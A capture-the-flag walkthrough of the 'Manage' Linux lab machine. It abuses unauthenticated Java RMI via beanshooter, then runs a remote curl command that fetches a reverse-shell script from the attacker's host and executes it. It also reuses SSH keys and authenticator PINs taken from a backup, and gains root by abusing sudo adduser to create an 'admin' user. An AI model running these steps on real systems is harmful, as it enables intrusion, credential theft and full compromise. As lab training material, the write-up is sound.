Manage (Linux Easy)
Manage is a Linux Easy machine starting off with Java RMI using beanshooter. After enumeration we see we gather credentials and that authorization on the Remote MBean server isn’t required. Using this we are able to get a foothold on the machine. As user tomcat
, we see other users we can attack in /etc/passwd
. Trying to escalate our privilege to useradmin
we have password reuse from the credentials we gathered, but upon entering the password were asked for verification. Looking in useradmin
‘s home we see a backup tar file. Getting it to our machine yields this users home directory backed up. We have a ssh key we can use to get on the box, along with .google_authenticator
having PINS to try. Doing so gets us sshed on the box. Looking at our users privilege, we see we have ALL:ALL
on /usr/sbin/adduser
. Looking at a typical sudoers file we see we can use admin
as a user, as this group is not present on the box. Upon adding this user, they will in turn be added to the admin
group allowing just ALL:ALL
, which gives us root.
Initial Nmap
1 | PORT STATE SERVICE REASON VERSION |
Looking at port 2222 specifically. 👀
Java RMI (Remote Method Invocation) and our footHold 👌
Java RMI(Remote Method Invocation) is a Java API that allows an object running in one JVM (Java Virtual Machine) to invoke methods on an object running in another JVM, even if they’re on different physical machines. RMI provides a mechanism for Java-based distributed computing. We can abuse this with beanshooter.
We can first run some enumeration.
1 | $ java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.10.124.240 2222 |
Now we have some credentials. But lets try to get a shell. First we can create a reverse shell and put it in x
and host it. This will grab our shell.
1 | $ java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.10.124.240 2222 exec 'curl -o /tmp/x 10.8.4.29/x' |
This the executes our shell.
1 | $ java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.10.124.240 2222 exec 'bash /tmp/x' |
Our foothold appears 🙌
1 | $ nc -lvnp 9001 |
I’m just a regular Tomcat
As tomcat
we look around seeing we have to users we can look at. Going to /home
we can see a directory backup
in useradmin
‘s home directory. This has a backup.tar.gz
we can extract to our machine.
1 | $ tomcat@manage:/home/useradmin/backups$ ls |
I just base64 encoded and the decoded on my machine. After that we had some directories, including .ssh
. Using the key we can ssh in as useradmin
, but upon entering the password it asks for verification.
1 | $ ssh -i .ssh/id_ed25519 useradmin@10.10.124.240 |
We also had a .google_authenticator
file. This held PINS we can use for verification, and after using one or two we get in.
1 | $ ssh -i .ssh/id_ed25519 useradmin@10.10.124.240 |
PrivEsc
If we look at our privileges we have adduser
, trying everything such as appending to the end i.e. --uid 0
or --system
didn’t yield any results. Yet if we look we groups there wasn’t an admin
, a typical sudoers file looks like the following:
1 | # User privilege specification |
So in theory if we add a user named admin
then groups follow when a new user is added. So adding user admin
would give us the permissions ALL=(ALL) ALL
. That gets us root.
1 | useradmin@manage:~$ su admin |